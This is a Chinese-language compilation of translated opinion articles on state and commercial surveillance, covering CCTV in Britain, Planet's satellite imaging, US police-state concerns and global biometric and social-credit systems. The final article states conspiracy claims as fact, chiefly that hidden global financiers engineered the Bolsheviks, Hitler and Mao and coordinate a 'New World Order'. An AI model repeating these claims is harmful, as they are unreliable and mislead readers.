就此而言，伦敦电影博物馆将在破旧的间谍詹姆斯·邦德（James Bond）身上进行永久展览，詹姆斯·邦德是作家和前英国海军情报官员伊恩·弗莱明（Ian Fleming）的作品。

特工007受到美国战后自我评估的束缚，但令人震惊的现实是，英国是首批面对恐怖袭击不断恐惧的国家之一。

在保护人民方面，英国政府的眼光比其他自由社会的眼光还高。即使在 **Edward Snowden** 曝光惊人的英美监视全球的行为之后，议会实际上还是将这些权力奉为己有。

- 完整版斯诺登文件《互联网霸主的时间线—— 他们将互联网视为间谍、破坏和战争的主场》

在2016年底又通过了《调查权力法》监听者宪章(Snooper’s Charter)，公众对此几乎没有任何抗议。

臭名昭著的间谍机构政府通讯总部前主任 David Omand 称，“总的来说，我们认为我们的政府是有效率和良性的……感谢上帝，我们还没有经历过穿着棕色风衣的男人在凌晨四点敲门的经历。因此，当我们谈论政府监视时，这里的共鸣是不同的。”（他指的是警察国家的间谍）

这绝不是说像美国这样对大政府持怀疑态度的国家完全不受监视蠕变的影响。该国的大多数警察部门现在都在使用或考虑使用人体摄像头，至少到目前为止，这种发展一直受到公民自由组织的“欢迎”，作为遏制执法滥用的一种手段。

ANPR监视相机在美国许多主要城市中都被用作交通和停车执法工具。现在纽约有大约20,000台正式运行的监控摄像机。同时，芝加哥在其32,000台CCTV监视设备的网络上继续进行了大量投资，以缓解凶杀案泛滥的状况。

但是，其他没有恐怖袭击历史、暴力犯罪率相对较低的美国城市，也同样采用了大量的监视技术。

我检查了闭路电视监视网络，该网络已悄无声息地分布在德克萨斯州休斯顿市中心。要知道，直到2005年这座城市还没有一台这样的监视相机。

但随后，市公共安全与国土安全办公室主任 Dennis Storemski 开始游览其他城市。他回忆说：“基本上，正是我在伦敦看到的东西使我对这项技术产生了兴趣。”

如今，得益于联邦政府的拨款，休斯敦拥有900台CCTV监视摄像机，还可以使用另外400台摄像机。

与伦敦一样，官员们不会无时无刻地监视每台摄像机，因此，Storemski “这本身并不是监视。我们希望打消人们关于正在被监视的疑惑。”

- 但这不是问题，因为《机器人监视卫队即将到来》

「图」

「图」

In the 1960s the U.S. Army Corps of Engineers built more than 270 concrete crosses, 60 feet wide, in the Arizona desert. The known

dimensions helped calibrate the world's first spy satellites. To create the image above, two artists photographed the cross, tracked the trajectories of satellites that pass overhead, and drew arcs in the sky showing their paths.

同样，英国人对监视摄影机普及的默许与任何沉默的声音一样惊人。

CCTV 和 ANPR 监视摄像机以及宣布它们的标牌与城市中其他基础设施混在一起。在伦敦的三个星期中，我漫步在奥威尔和 Huxley 曾经居住过的安静社区。Orwell 位于伊斯灵顿（Islington）卡农伯里广场（Canonbury Square）的故居附近就有多台**CCTV**和**ANPR**监视摄像机，距离该行政区的监控控制室仅**4**分钟步行路程。

而几英里外的 **Huxley** 故居正在牢不可破的钢制监视控制室的包围之下。（Aldous Leonard Huxley，《美丽新世界》的作者）

在南约克郡县城外，我参观了巴恩斯利医院，那里的一些安全人员配备了人体摄像头，以阻止患者或访客的 “不守规矩”。

据报道，在我逗留期间，类似的监视相机正在接受学校教师的测试。

鉴于估计已有15万英国警官已经配备了这种装置，因此下一步极有可能迅速扩散到其他领域，例如 教育工作者和护士。

但是从那里开始，再下一个会是谁？空姐？邮政工人？心理学家？人力资源总监？……

“一些地方当局正在试图迫使出租车司机使用这种监视设备，”监视摄像机专员 Porter 对我说。

“考虑到这一点，以及在医院和学校中使用的大量人体监视摄像机，我提出的问题是：我们想生活在一个什么样的社会中？我们所有人都可以合法地互相拍摄，这是否可以接受？”

「图」

「图」

我沿着伦敦那条整洁的街道游荡时，想到了最后一个问题，现在我的眼睛敏锐地凝视着拐角处和灯柱上类似独眼巨人的眩光。

很自然的我走向了著名的泰晤士河上的威斯敏斯特桥，我发现自己立

刻被举着智能手机的来自各个民族的游客所吞没，他们所有人都在试图制作出令自己满意的伦敦自拍照。

我回避并转身道歉，然后才意识到这是徒劳的。我能拒绝的只是我面前的相机。而相机到处都是，这些陌生人是否以这种方式随意记录了我所有的动作？既然每个人都已经在监视记录着其他所有人，那么“老大哥”是否在 watching 还有什么不同？

- 关于街头陌生人互相监视问题的思考《一个愚蠢带来的启示》

我一直在与两位敏锐的观察者讨论社会中越来越多的彼此监视的问题，其中一位是 Chloe Combi，《Generation Z: Their Voices, Their Lives》的作者，这本书是她与英国青少年进行的数百小时采访的成果。年轻人对在几乎所有可能的环境中都可以进行摄影和录像表现出了非凡的狂热。

“一部手机就能让你看到一个人一生的纪录片“，Combi 告诉我。

“我们生活在一个越来越没有秘密的世界。真正的财富和权力的标志之一可能最终是，隐私仅对那些拥有足够金钱来购买它的人而言成为一种商品。对于其他所有人来说，整个世界将成为一个真正的舞台，所有人都被迫自觉地扮演自己的角色。”

Combi 创造了一种未来主义的奇观 —— 每个人都同时是24/7的偷窥狂和暴露狂 —— 使我震惊，就像走进了《勇敢新世界》一样，但同样也存在着一些异常。

我们是否已经进入了堪萨斯大学社会学家 William Staples 2000年所说的“永久可见性状态”的终点了？

很难说这是否构成了一个更加开明的社会，一个被过度刺激的社会或两者都有。

我征求了神经科学家 Susan Greenfield 的想法，她也是社交媒体痴迷者的著名批评家，恰好也是英国国会议员。

她说：“ 似乎每个人都认为始终保持联系和公开可以很舒适。但是，当一切都是文字和视觉时会发生什么呢？当您无法在Google图片上找到荣誉之类的概念时，该如何解释？抽象的宇宙是无法解释的。生活中的细微差别消失了。”

「图」

「图」

Three telescopes of the Deimos Sky Survey, based in Spain, watch for close asteroids and man-made space debris that could damage satellites, as an airplane streaks across the sky. Noelia Sánchez Ortiz, an aerospace engineer, and Jaime Nomen, an astronomer and the head of the observatory, monitor the instruments.

我在内政部办公室的一个巨大且高度监视的食堂里与 Tony Porter 交谈。

Porter 最近访问了阿联酋，阿联酋制止异议，并对监视技术产生了浓厚的兴趣。这使 Porter 感到不祥。他说："我知道你来自哪里。"

- 关于阿联酋的监视《雄厚的财力，深藏不露：美国间谍如何协助专制国家构建一个间谍帝国》
- 《美国间谍帮助阿联酋侵犯人权一事提醒了什么》

"但是，国家监视是侵入性的，它功能强大，能够进行超出人们最疯狂想象的连接。这与自拍照完全不同"。

他继续说道："真正的威胁是在我们走向综合监控时。大型零售商花费了数百万英镑来研究其中的所有可能因素。我是一个中年胖子；我走进一家超市，他们立即开始给我播放羊角面包的广告。他们甚至可以从我的 Facebook 个人资料中找到我女儿，并询问她在哪里购物？谁来监管？还是不需要进行监管？"……

- 《在商店里，秘密监视如何跟踪你的每一步行动？》

「图」

「图」

Thermal imaging cameras, provided by the World Wildlife Fund to the Mara Conservancy, have allowed rangers in Kenya's Masai Mara National Reserve to extend their work protecting wildlife into the night.

「图」

「图」

「图」

「图」

In total darkness, a frame from a thermal imaging camera shows rangers in Kenya's Masai Mara National Reserve chasing a poacher, who was soon caught.

对于某些公民自由主义者来说，监视技术每时每刻的进步都可以变成一列失控的子弹头列车。正如剑桥大学安全工程学教授 Ross Anderson 所警告的那样："我们需要在每英寸至少8,000像素的 Oculus Rift 2.0 到来之前思考出结果。到那时，监视摄像机远远地就可以看到你在手机上输入的文字，包括密码"。

即使是 Huxle —— 他的杰作展现了2540年伦敦过度工业化的可怕景象 —— 也并没有想到这个世界已经变得如此敏锐，以至于我们总是无法掩盖我们最私密的秘密。

伦敦大律师 David Anderson 曾担任政府反恐法律的独立审查者长达六年，他说："要么您认为技术为我们提供了强大的力量，政府应在同样强大的保障措施下使用它，或者您认为技术太可怕了，应该假装它不存在。我坚定地处于第一类 —— 不是因为我认为可以依靠政府，而是因为，在这样一个成熟的民主国家中，我们应该有能力建立起足以使利大于弊的保障措施。 "

- 《为什么技术有利于暴政？—— 一场你必须参与的政治斗争》

另一方面，让这种技术进步进入很大程度上不受监管的市场似乎同样是不明智的。

哥伦比亚大学第一修正案研究所（Knight First Amendment Institute）的创办人 Jameel Jaffer 说："我确实认为我们的生活越来越多地被记录和追踪。我还认为，我们只是开始努力解决这一问题的影响，因此在采用新技术或允许新的监视形式在我们的社会中扎根之前，我们应该考虑一下这些监视的长期影响如何成为现实。"

如何做出这样的判断？当发生突破而使人们对如何看待世界的观念发生剧变时，做到这点特别容易。实际上，这一关键角色已经出现。

现代技术可以每天监控地球的每个角落。这是旧金山一家名为 Planet 的公司的创意，该公司由三位前NASA科学家 Will Marshall、Robbie Schingler 和 Chris Boshuizen 创建。

他们的总部位于 Market Market 南部一个毫不起眼的仓库中。

「图」

「图」

Marshall 和 Schingler 和我坐在一起。前者是戴着金属框眼镜的瘦高英国人，后者是随和的加利福尼亚人。他们俩都是39岁，前一天的晚餐是庆祝在 Planet 从事全职工作五周年。

他们进行了实验，将相对便宜的相机送入轨道，确认它们可以在外太空工作的状况。“我们考虑可以用这些图像做些什么？” Schingler 说。

“我们如何利用这些东西造福人类？列出世界上的问题：贫困、住房、营养不良、森林砍伐。如果您拥有有关我们星球的最新信息，那么所有这些问题都将更容易解决。比如如果你提早发现了亚马逊森林的漏洞就可以在火灾发生之前向政府提供有关此信息，结果是什么？”

Marshall 和 Schingler 在硅谷的一个车库里开发了他们的第一个模型。这个想法是设计一种成本相对较低、鞋盒大小的卫星，以最大程度地减少设计此类技术所需的军事级规模的预算，然后，如 Marshall 告诉我的那样，“发射人类历史上最大规模的卫星群。 ”

通过部署许多此类设备，该公司将能够整体上看到地球表面的每日变化。

「图」

「图」

These tiny U.S. Navy drones (basically just aerodynamic circuit boards) were designed to be carried aloft and then dropped as a swarm. They could be used for many applications, such as monitoring hurricanes, setting up a trip wire along a border, or guiding farmers as they seed a field.

在2013年，他们发射了第一颗卫星并收到了第一张照片，这些照片提供了比以前的全球地图影像更生动的动态视图。

Marshall 说：“令我们最惊讶的是，几乎每一张照片都显示了地球的

变化。田野被重塑、河流被改造、树木被砍伐、建筑物更高了……现在，不仅可以显示一个国家毁林的数量，还可以通过展示毁林正在发生的图片来提醒人们。”

如今，Planet拥有200多颗在轨卫星，其中约有150颗被称为 Doves，可以在条件适当的情况下每天对每一块土地进行成像。 Planet 拥有远至冰岛和南极洲的地面站。它的客户也一样分布在全球。

该公司与亚马逊保护协会合作，追踪秘鲁的森林砍伐情况。它已向国际特赦组织提供图像，记录缅甸安全部队对罗兴亚人村庄的袭击。

在米德尔伯里研究所（Middlebury Institute）的防扩散研究中心，重复进行的全球成像有助于智囊团监视伊朗或朝鲜导弹测试场的突然出现。

当《今日美国》和其他出版物希望获得叙利亚谢赫拉特空军基地的航拍图像时，新闻机构知道应该找谁。

以上这些都是无偿的客户。它的付费客户包括 Orbital Insight，这是一家位于硅谷的地理空间分析公司，可以解释卫星图像中的数据。

借助此类图像，Orbital Insight 可以跟踪南美道路或房屋建筑的发展、非洲非法棕榈油种植园的扩张、以及亚洲的农作物产量。

首席执行官 James Crawford 在公司会议室打开笔记本电脑，向我展示了中国储油罐的鸟瞰图，它们的浮动盖表明已装满四分之三。

他狡猾地笑着说：“曾经只有对冲基金、银行和石油公司本身知道储油罐里有多少东西，但其他人则不知道。”

「图」

「图」

In this photograph with a long exposure, a U.S. Forest Service airplane banks over a wildfire near Lake Isabella, California, in Sequoia National Forest, to take images with a thermal infrared scanner. The data are overlaid onto maps (below) to provide accurate fire perimeters so firefighters can plan their attacks, predict fire behavior, and identify threats.

「图」

「图」

「图」

「图」

这是Planet自己的道德准则将发挥作用的地方。它不仅可以拒绝与具有恶意动机的客户合作，而且还不允许客户对所购买的图片拥有唯一的所有权主张。

另一个重要的限制是技术。Planet 以10英尺的分辨率监视世界，足以分辨出一辆卡车的轮廓，但不能分辨出人类的轮廓。从分辨率上讲，能看清一只脚的技术由另一家卫星成像公司 DigitalGlobe 提供。

但目前，只有 **Planet** 拥有强大的卫星部署能力，能提供整个地球所有陆地的每日图像。

尽管如此，Planet 还是取得了进展。其他人将有一天跟随它。到那时，他们将如何利用每时每刻监看世界各地的权力？他们的目标会和 Planet 的目标一样仁慈吗？他们会尝试完善分辨率更高、因而具有更高侵入性的卫星摄影吗？

Marshall 告诉我："要识别300英里以外的人，您需要一个像公共汽车一样大的摄像头。" 他补充说，无论如何，一家寻求实现这一目标的美国公司将遇到相当大的联邦监管障碍。

当然，法规可以更改；技术极限的边界也可以更改。就在一两年前，在轨运行中数量最多的卫星的所有者是美国政府，拥有约170颗卫星。如今，Planet 运行的卫星数量超过地球上最强大的国家。

谁会成为最大的老大哥？

「图」

「图」

Dubbed the "fifth largest intelligence agency," more than 850,000 volunteers—retirees outfitted with official red vests or armbands—are the eyes and ears of their Beijing, China, neighborhoods. Out in force on holidays, they help direct traffic, give visitor information, and check in on the infirm. But they're most known for monitoring the streets for suspicious behavior.

一个名叫 John Goolgasian 的高个子年轻人想向我展示弗吉尼亚州机构 GeoSpark Analytics 如何将犯罪数据与 Planet 图像相匹配。几次点击之后就看到了被极端主义组织博科圣地占领的尼日利亚社区。

再点击几下，图像就更加熟悉：我在华盛顿特区的邻居，特别是离我家只有几个街区的地方，刚刚接到了一份入室盗窃报告。

首席运营官 Tom Barton 说，“我希望从现在开始的一年后，我们可以站在这里说，‘天哪，我们确实改变了世界。’”

当一个年轻的女人向我展示她笔记本电脑上的东西时，我正在思考这个问题的含义。她的名字叫 Annie Neligh，是空军资深人士，现任 Planet 的 “客户解决方案工程”负责人。

Neligh 的客户之一是德克萨斯州的一家保险公司。该公司怀疑它正在为隐瞒自己安装游泳池的房主续签保险，这会对公司的保单造成40%的损失。因此，它要求 Planet 提供有关德克萨斯州普莱诺市房屋的卫星图像。

Neligh 向我展示了她的发现。附近1,500处房产的卫星图像，可以清楚地看到520个游泳池闪烁的形状 —— 远远超出了保险公司客户声称的比例。 Neligh 耸了耸肩，露出淡淡的微笑。“人们撒谎，你知道，” 她说。

现在她的客户获得了真相。此信息将被如何处理？对普莱诺如此清醒的小村庄进行突袭吗？抬高保费？这些图像可能会显示施工人员正在安装的新的按摩浴缸和西班牙瓦屋顶吗？

未来就在这里，在其中，真相不仅仅是一个善良的教育者。它是一种武器，既可以对抗偷猎者、盗贼、疯狂的轰炸机，也可以击溃人类天性中的小把戏。人们撒谎，你知道。这个完全透明的时代已经强加给所有人。

当我回到旅馆时，我想到了伊斯灵顿那两个轻便摩托车骑手，我想知道他们是否被捕了。我想知道他们是否被认为犯了任何罪行，除了在一个本来很沉闷的早晨做了些有趣的特技之外。

我想知道他们是否会知道有看不见的陌生人一直在注视着他们，就像一个陌生人现在正在注视着我一样 —— 就在对面那个闭路电视监控器中，看到一个孤独的人在黑暗中空旷的街道上快速行走的景象。寒冷的夜晚，没有穿外套，似乎正在逃离什么。〇

They Are Watching You—and Everything Else on the Planet

原文

不论政府关闭与否，警察国家都将继续蓬勃发展。还可以怎么办？ - iYouPort

你我的灾难现实技术暴政

政府再次关闭。然而，虽然这些政治游戏在新闻头条中占据主导地位，让股市暴跌，让80多万联邦雇员面临无薪工作的风险，但是，政府关闭的任何结果都不会减少警方直接的和非常现实的危险—— 无休止的搜查、政府监视、生物识别数据库、公民被视为恐怖分子、批评政府的人被监禁、国民身份证、特警队袭击、审查、强制抽血和 DNA 提取、私人监狱、武器化无人机、监视摄像机、橡皮子弹、主动射击练习、警察不端行为和政府腐败。

关闭与否，战争都将继续。无人机杀人事件将继续下去。大规模监视将继续进行。任何批评政府的人都将继续遭到审查和迫害。政府将把持不同政见者列为极端分子和恐怖分子的努力将继续下去。

警方将继续枪击事件。政府官员将继续抢劫高速公路。腐败将继续下去。利润驱动的监狱将继续存在。警察的军事化将继续下去。

事实上，看看不受政府关闭影响的计划和政策，你就会更清楚地了解政府的优先事项，这与服务于纳税人无关，与收敛金钱、权力和控制权有关。

监视将继续有增无减。在任何一天，无论您是走过商店、开车、查收电子邮件、还是通过电话与朋友和家人交谈，您都可以确定某些政府机构—无论是 NSA 还是其他实体—在窃听、并跟踪您的一举一动。

警方已经配备了一连串的监控装备，从车牌阅读器和手机追踪装置到生物识别数据记录仪。技术现在使警察可以扫描路人，以便检测他们的口袋、钱包、公文包里面究竟都有些什么。全身扫描仪，对乘坐飞机旅行的美国人进行虚拟脱衣搜查，移动的巡逻警车可以看到车辆和建筑物、包括住宅里面都有什么。再加上不断增长的实时监控摄像头和面部识别软件网络，很快所有人就会无处可逃，无处可藏。

- 延伸阅读：《👀 隐身游戏：如何在监视遍地的社会里让自己完

全消失》

政府间谍活动将继续有增无减。不论政府关闭与否，国家安全局（NSA）及其108亿美元的年度预算，将继续监视整个国家每个基于 PRISM 和 XKEYSCORE 等程序使用计算机或电话的人。通过破解所有主要智能手机（包括 iPhone，Android 和 Blackberry 设备）的安全性，NSA 间谍可以获取联系人、短信和位置数据等信息。然后有国家安全局的特工将继续使用和滥用他们的监视权力。

全球间谍活动将继续有增无减。国安局庞大的监控网络—— 华盛顿邮报认为那是一个价值 5000 亿美元的“间谍帝国”，将继续遍布全球，并瞄准地球上每个使用电话或电脑的人。 NSA 的 Echelon 计划拦截并分析了世界各地发送的几乎所有电话、传真和电子邮件消息。除了对大赦国际、绿色和平组织和一些宗教团体等和平政治团体进行普遍监视外，Echelon 还是政府试图从事政治和企业间谍活动的基石。

恶劣的搜索将继续有增无减。以保护国家基础设施为借口，运输安保管理局（TSA）工作队（由联邦空警、地面部队组成）的检查员、运输安保人员、行为检测人员和爆炸物检测犬队，将继续随意扫描交通工具，包括港口、铁路和公交车站、机场、渡轮和地铁。扫描策略包括使用X射线技术，搜身和毒嗅狗等。

“宪法”的破坏将继续有增无减。所谓的反恐战争削弱了全民的自由，破坏了宪法，并将我们的国家变成了一个战场，这在很大程度上要归功于所谓的爱国者法案等颠覆性立法。这些法律—完全绕过了法治和公民的宪法权利—重新定位了我们的法律环境。

军事化的警务工作将继续有增无减。由于联邦拨款计划允许五角大楼免费向当地执法机构转移剩余的军事物资和武器，警察部队将继续从和平人员转变为全副武装的军队扩建部队，并配备长靴，头盔，盾牌，警棍，胡椒喷雾，电击枪，突击步枪，防弹衣，微型坦克和武器化无人机。获得搜查、抓捕、剥夺和处理他们感兴趣的几乎任何人的权力，所有这些都得到了法院的默许，执法官员不仅仅是不再受公民监督，他们将所有人视为嫌疑人和敌人而不是公民。

过度刑事化将继续有增无减。政府官僚机构将继续制定加强其权力和价值体系的法规和法规以及警察国家及其企业盟友的法律法规，使我们其余所有人成为小罪犯。由于过多的模糊性法律使得很多无辜活动都成为了“非法行为”，普通公民现在在不知不觉中每天可以犯下三项重罪。因此，敢于制作未经高温消毒的山羊奶酪并与社区成员分享的

小农将继续遭到农场搜查。

影子政府、警察国家、军事工业综合体、监视国家复合体—— 将继续有增无减。这个公司化、军事化、根深蒂固的官僚机构完全投入运作并由完全未经选举产生的官员操控，将继续在华盛顿特区发号施令，无论是谁坐在白宫或控制国会。对于“政府”，我并不是指共和党或者民主党，相反，我指的是“政府”，这个根深蒂固的 Deep State 完全不受选举的影响，不受运动的影响，并使自己超越了法律的范围。

那么，我们该何去何从？ 如果公众的反对、彻底的挑战和政府的关闭都不会阻止甚至放慢警察国家的状态，那么该怎么办？

你一直在做那些让自己可以生存下来的事，那就继续做，为未来做好准备并为自由而奋斗。避免政治宣传冒充新闻来源。 对政府入侵我们自由的行为表达你的愤怒，大声地并不知疲倦地呼喊。

在当地采取行动，从基层开始重新拿回我们的权利，从当地开始并且不断前进，仍然是我们唯一的希望。

作者 John W. Whitehead 是宪法律师和作家，也是卢瑟福研究所的创始人和总裁。

Government Shutdown or Not, the Police State Will Continue to Flourish: Make no mistake, even if the government stayed “shutdown” the police and warfare states will continue to lay waste to freedom and liberty.

原文

全球政权如何利用技术和贫困奴役人民？暴政背后的黑手 - iyouport

技术暴政

【2018年11月11日】为什么经济崩溃不会导致理想的政治变革？为什么社会弥漫虚无主义、加入反抗的人迅速减少？为什么人们会主动服从甚至拥护暴政，为什么仅仅推翻一个独裁者是不够的……

暴政经常被视为一个社会的突然和莫名的发展，“由于公众的恐惧或愚蠢”而在有限的时间内发射火箭那样爆发出来的单一暴君产物。但是，这是现代政治上最大的谎言之一。

事实是，至少在过去的一个世纪里，几乎所有历史上被简单视为“暴君”的政权都只不过是一个更大的管理阴谋的傀儡，而且几十年来，每个极权主义国家的建设都是由那些同样的金融精英主义者缓慢而平静地完成的。

从布尔什维克、希特勒和第三帝国、到毛泽东、到中东和非洲的大多数简陋的独裁者，总会有一群有组织的庞大金主和智囊团为这个时代最糟糕的政客和军队的职业生涯提供动力。

暴虐系统的兴起需要大量的时间、计划和过程。人类不会在一瞬间冲动地闯入反乌托邦噩梦政权的怀抱。大众媒体告诉我们，这是它的运作方式：在艰苦的经济或社会条件下，具有超凡魅力的个性和邪恶意图的人突然浮出水面，通过承诺建立一个“更美好的世界”来换取公共的忠诚以实现掌权。

但是，那些经济和社会危机从哪里开始的呢？它们是这个时代的自然结果，还是刻意设计出来的？

现实情况是，人们必须在心理上习惯于为某种被宣传出来的安全幻觉而交出自己的自由和人权。有时这需要几代人的时间。极权主义框架的每一次尝试都不可避免地引发反叛。因此，最成功的暴政将是一个

被公众需求的暴政，被公众认同并接受的暴政。公众必须认为这就是他们自己的想法，而不是被灌输的思想，否则他们最终肯定会对抗它。

全球主义金融家和权力成瘾者需要的不仅仅是军事力量或官僚力量来获得他们理想的奴隶社会。他们需要的是第四代战争战术。他们需要让群众主动接受自己被奴役。

有两种工具可以实现这一结果：第一种是控制经济衰退，第二种是将技术古拉格融入公共生活的各个方面。

大众分心的经济武器

「图」

独裁政府因全球经济受到影响而获得突出地位并非巧合; 当人们完全被自己的生存问题分心时，他们就很难对暴政保持警惕。中国人都知道以养家糊口为借口的自我审查、甚至主动助纣为虐，此处不必赘述。这就是为什么分析师的重点一直是经济学和财政灾难的解决方案; 这一切噩梦都始于经济的开始和结束。

如果公众能够在危机发生之前准备好发展他们自己的替代经济体系，那么当全球政权将暴政作为一种解决方案时，人们将更加不会被混乱所分心，更容易注意到真实威胁的逼近。

如果没有本地的替代市场，就没有冗余，也就没有什么可以防止崩溃的保障。由于大多数人依赖现有的生计系统，经济早已成为全球政权非常有用的武器。

以经济为人质会产生许多优势。通过通缩压力，工资可以保持在低水平，而高薪工作则会消失。制造业可以逐步淘汰或外包给海外，就像在美国发生的那样。由于税收普遍上升而财务状况下降，小企业所有权变得困难。

通过通胀或滞胀的压力，低工资和就业市场不足与价格爆涨相结合出现。如果没有政府的援助，这将使许多人的生存难以为继。

在这种环境中，公众变得更加依赖于服务部门，而服务部门没有提供有用的技能。很快，你就拥有了几代没有生产能力的人。他们成为慵懒的人工作在毫无意义的办公室和零售店，他们知道自己除了微薄的薪水之外什么也没有，不会完成任何事。

生活中缺乏更大的目标或使命以及普通人没有生产能力的意识创造了一种明显的绝望氛围。虚无主义就来了。人们要么没有自己想要的工作，要么在工作中完全无法实现自己真正的期待，更得不到应得的收益，无法骄傲地说："是我，建立了这个"。公众已经到了这样的程度，即 他们甚至可能只是为了摆脱苦差事而欢迎经济崩溃。

这就是支持极权主义运动开始的地方—— 那些厌倦了与经济作斗争并且没有独立意识的公民群体推动的。这些人不知道如何解决自己的问题，他们总是在寻求别人帮助解决。一旦金融结构遇到最大的痛苦，全球政客就很乐意向公众提出他们自己的'预定解决方案'。一边是"权威"，一边是"羊群"，这是你最熟悉的画面。

然而，在经济被修复以换取公民的服从之后，人们仍将有一天会发现交易是不公平的。因此，他们会继续想要一种威慑力来使它们保持住。这就是权力的巩固。

技术鱼缸

「图」

首先，你必需知道，不论是西方还是东方世界，没有任何一个主要国家没有建立数字控制网格，东方国家与西方国家一样服从于国际老大哥的需求。所有涉及贸易战、叙利亚战争或各种选举等事件的地缘政治闹剧，最后什么都没剩下。在确定特定政府的弦音是否被国际老大哥阴谋集团拉动时，您所要做的就是，看看他们实施服务于他们自己利益的压迫系统的速度有多快。

例如，由于最高法院最近裁定有争议的 Aadhaar 生物识别计划是合法的，印度政府一直处于头条新闻。在一个拥有 13 亿人口的国家中，大约有10亿人都已经在国家数据库中被进行了生物统计学分析。该数据包括指纹、虹膜扫描和面部扫描。

请注意，印度社会是在一个相当奇怪的地方体验这样一个极权主义数据库的，考虑到60%的人口处于贫困线以下，大多数人几乎没有基本的设施。这就是为什么国际老大哥开始更大规模地编制世界人口的原因。

想想中国的"社会信用评分"吧，想想中国众所周知的贫富分化状况，想想中国人对监视资本主义的冷漠和无知，想想那些拥护甚至追求实名制的人。请搜索 '2018年10月人口抽样调查'，了解中国当局正在做什么。这次的调查不是使用纸质表格，而是 PDA；调查的内容不仅包

括户籍上每个人的身份证，还包括工作地点，甚至去工作时采取的具体交通方式，比如乘坐的是几号地铁。这次是更具体的和数字化的侵入。

同样，金融绝望和缺乏改变的技巧往往只会产生屈从，而不是反抗。印度庞大的城市有数亿贫困人口，他们自愿放弃人权以换取政府的援助计划。

而对于那些受经济不景气影响较少的人们，印度政府已采取了其他措施，包括要求任何人如果想要获得政府服务，如 开设银行账户或注册手机服务等，都必须放弃人权，主动向政府提交生物识别数据。在那些没有印度那么贫困的国家里，同样也已经采取了并且是更多更具颠覆性的措施来监视公民。隐私数据只是被提取，而不是交易。

在俄罗斯，弗拉基米尔·普京（Vladimir Putin）已将他在 2016 年签署的所谓 Yarovaya 法律付诸实施。从电话对话到电子邮件的所有数字数据现在都被电信部门记录和存储，供政府随意访问至少六个月内，其中包括 Facebook 和 Twitter 帖子。

该国 2014 年的‘博客法’还要求任何拥有 3,000 名粉丝及以上的博主都被列入政府的档案，他们不能保持匿名。法律要求任何运营公共 Wi-Fi 网络的企业通过 ID 以识别用户的真实身份，该 ID 也被存储至少六个月。

俄罗斯的 FISA 风格的监视网格是巨大的，在这里看到《俄罗斯正模仿美国棱镜计划建立大规模监视系统—— Wikileaks 披露（中文版）⏳》然而，自由运动中的许多人似乎忽视了这个现实，错误的针对普京个人。正如许多研究所指出的那样，俄罗斯深受国际金融家的影响。

高盛（Goldman Sachs）和摩根大通（JP Morgan）是该国最大的投资银行。他们的中央银行与国际货币基金组织和国际清算银行密切合作。克里姆林宫过去曾呼吁国际货币基金组织控制全球货币。普京甚至在他自己的第一人称传记中承认，自他成为俄罗斯总统之前，他就是新世界秩序推销员 Henry Kissinger 的朋友。俄罗斯外交部长最近在一次关于全球主义俄罗斯真实情况的展览中，就对“国际秩序”的“攻击”批判美国，包括破坏世界贸易组织和全球气候变化协议。

考虑到上述情况，俄罗斯正在与全球老大哥一起努力识别和追踪每一个活着的人，这对任何人来说都不足为奇。特朗普在他内阁的全球老大哥的包围下，正在继续并在他的政府管理下扩大 **FISA** 监视，这也

就不足为奇了。

在 2018 年初，特朗普签署了一项法案，续签了国家安全局对美国人民的无证 FISA 大规模监视。民主党领导人非常高兴地支持了这一行动。尽管特朗普最近对 FISA 进行了某些批判，但是，正是特朗普政府使得 FISA 的延续成为可能。

主要的社交媒体公司正在全力配合大规模监控工作，他们定期与世界各国政府分享个人的隐私数据。仅 Facebook 就承认 2017 年政府对数据的要求增加了 33% 以上，而且大多数他们提交给各国政府的数据并没有被公开，没有接受任何公众监督。

Turki Bin Abdul Aziz Al-Jasser 因涉嫌维护一个名为 'Kashkool' 的推特账户而于3月15日被捕，该账户揭露了沙特当局和皇室成员的侵犯人权行为。他在被拘留期间因遭受酷刑而死，这引发了新的愤怒：究竟是谁泄露了他的真实身份信息？

"他们[政府]是从迪拜的 Twitter 办公室获取到他的信息的。这就是他被捕而死亡的原因，"匿名消息人士告诉 Metro。⚠Twitter 已早已对持不同政见者或批评者构成了严重威胁。消息人士说："沙特持不同政见者的账户遭到监视。我们使用 Twitter 并不安全。"

该消息人士还透露，皇家法院的前顾问沙特·卡塔尼（Saud al-Qahtani）领导了一个"网络间谍圈子"，并在迪拜的 Twitter 办公室内有联系人。推特标签 #TwitterKilledTurkiAlJasser 正在声援异议人士 Al-Jasser。

IYP 的账户近期再次被 Twitter 封锁了。直到目前为止一直无法解锁。我们向国际互联网权利组织投诉，经过调查被回复：IYP 的博客域名 wix 和社交媒体平台 steemit "都在 Twitter 的黑名单上"。

IYP 借此写了一份声明发在博客，在这里看到《在无可言说之中言说中国》。

同时，我们还了解到，近期"有很多"中文推特账户被封锁，于是我们希望能调查一下，收集一个被封锁账户的列表，至少能分析出它们的共同特点。但是，已经几乎不能。

整个过程给 **IYP** 印象最深刻的不只有封锁账户，而是我们所有人的连接能力，当账户被封锁（这可能是完全没有预兆的）影响力瞬间就被清零，无法再通过有效的方式形成连接。

但是，如今几乎所有人都在集中化网络上，如果希望以最快速度实现传播和呼吁，就很难离开 Twitter。

于是 IYP 想到，我们的动员和传播模式肯定是有问题的，关于如何才能在不使用社交媒体的情况下最快速的联系人们。

另方面，这也是为什么我对近期社交媒体上抨击审查保守派言论的愤怒感觉困惑：好像个人自由活动家被反向心理学所欺骗了，他们还在需要这些完全不受阻碍地监视和审查他们的媒体网站，需要被随时随机的封锁噤声。为什么还有人想要注册和使用这些网站？

但这一切会指向哪里？贫困和史无前例的数字监控的结合如何转化成了暴政？我相信中国的“社会信用”计划就是答案。

该系统基于“保持信任”的理念，但是对谁的信任？当然是对政府的信任。信任是使用通过跟踪公民生活所得出的评分来衡量的。会受到惩罚的行为包括从禁烟区吸烟、到发布任何政权不喜欢的互联网内容。

而三年前 IYP 对该“信用评分”体系提出的警告，并没有被更广泛的公众所接受。直到转载我们那篇文章的网站已经下线，这里是备份《又一个被漠视的深渊》。

中国是全球老大哥理想的终极游戏代表。由于大规模的经济斗争导致中国人对政府福利计划和就业机会的依赖，并没有太多中国公民能够被“列入黑名单”。因为人们在拼命服从。中国的社会信用体系创造了这样一种环境，在这种环境中，公民的任何一项行动都被跟踪，然后被“评定”为可接受或要惩罚的后果。这包括人们如何表达自己对政府的态度。

显然，这是最终的控制机制，非常类似于布尔什维克革命后列宁和斯大林在俄罗斯建立的 **Cheka**，只是，这次是在大规模的数字技术之上。

